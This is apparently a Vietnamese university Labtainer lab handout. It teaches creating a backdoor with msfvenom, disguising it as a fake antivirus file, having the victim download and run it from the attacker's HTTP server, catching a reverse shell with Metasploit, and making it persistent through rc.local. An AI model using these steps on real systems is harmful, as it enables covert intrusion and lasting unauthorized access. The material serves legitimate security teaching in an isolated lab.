BACKDOOR AND PERSISTENCE Lab

## **1.1. Mục đích**

Bài lab này hướng dẫn người thực hiện 1 kịch bản tấn công mã độc tạo backdoor bằng payload và thực hiện duy trì tự động thực thi mã độc khi khởi động hệ thống nhằm duy trì kết nối tới máy attacker

## **1.2. Yêu cầu đối với sinh viên**

* Có kiến thức cơ bản về hệ điều hành Linux, mô hình mạng khách/chủ.

## **1.3. Nội dung thực hành**

* Khởi động bài lab:
  + Vào terminal, gõ:

*Labtainer -r backdoor-persistence*

*(chú ý: sinh viên sử dụng email stu.ptit.edu.vn của mình để nhập thông tin email người thực hiện bài lab khi có yêu cầu, để sử dụng khi chấm điểm)*

Sau khi khởi động xong hai terminal ảo sẽ xuất hiện, một cái là đại diện cho máy tấn công **attacker(Kali)**, một cái là đại diện cho máy nạn nhân: ***client(ubuntu).*** Biết rằng 2 máy nằm cùng mạng LAN.

* Task 1: Trên terminal ***attacker*** sử dụng công cụ msfvenom thực hiện tạo payload mã độc BKAV\_antivirus.elf

*msfvenom -p <payload> LHOST=<ip\_attacker> LPORT=<Port> -f elf -o BKAV\_antivirus.elf*

* Trên máy khách ***attacker*** sử dung python3 tạo http.server

python3 -m http.server 8080

* Giả định trên máy client đã gửi một email phising nhằm lừa người dùng tải

file về người thực hiện bài lab sẽ cần truy cập tới đường dẫn và tải file về thực thi

* + Trên máy client sử dụng wget tải mã độc về máy

wget http://<ip\_attacker>:8080/BKAV\_antivirus.elf

* + Sau đấy cấp quyền cho file mã độc

Sudo chmod +x B ***BKAV\_antivirus.elf***

* + Thực thi file mã độc

./ ***BKAV\_antivirus.elf***

* + - * **Task 2:Trên máy attacker sử dụng msfconsole với module exploit** /multi/handler và cấu hình
* set LHOST <ip\_attacker>
* set LPORT <Port>
* set payload <payload>
  + - * Sau khi cấu hình module thực hiện run module. Sau khi mở phiên truy cập vào máy nạn nhân thực hiện các bước *sau bằng phiên điều khiển máy client trên máy attacker*:
      * Task3: Di chuyển che dấu file mã độc được download về máy client tới thư mục /usr/bin. Sau đấy sử dụng lệnh **which** BKAV\_antivirus.elf để kiểm tra

Task4: Thực hiện persistence mã độc .Tìm hiểu về rc.local thực hiện chỉnh sửa file rc.local của máy Client để thực hiện chạy tự động file mã độc mỗi khi khởi động máy client.

Lưu ý cần chú ý cần luôn có dòng đầu : “#!/bin/sh -e” của file rc.local để file hoạt động

Sau khi cấu hình xong cần thực hiện lệnh sau để kiểm tra:

*cat /etc/rc.local*

* + - * Task5 :Thực hiện tắt container client sau đấy ghi nhận phiên truy cập trên máy attacker tắt.

Thực hiện run lại module exploit /multi/handler.Sau đấy trên /labtainer/labtainer-student sử dụng câu lệnh: labtainer backdoor-persistence để khởi động lại máy client.Sau khi khởi động lại phiên kết nối mới sẽ được tự động tạo.

Thực hiện câu lệnh để kiểm tra xem file mã độc đã tự động chạy hay chưa

*sudo ls -l /proc/\*/exe*

* + - * Task6 : Sau khi phiên kết nối mới được mở lại thực hiện thu thập thông tin filetoview.txt của máy client :

cat /root/filetoview.txt

* Thực hiện Checkwork:

checkwork *backdoor-persistence*

**Stop the Labtainer**

Kết thúc bài lab:

Trên terminal đầu tiên sử dụng câu lênh sau để kết thúc bài lab:

*stoplab backdoor-persistence*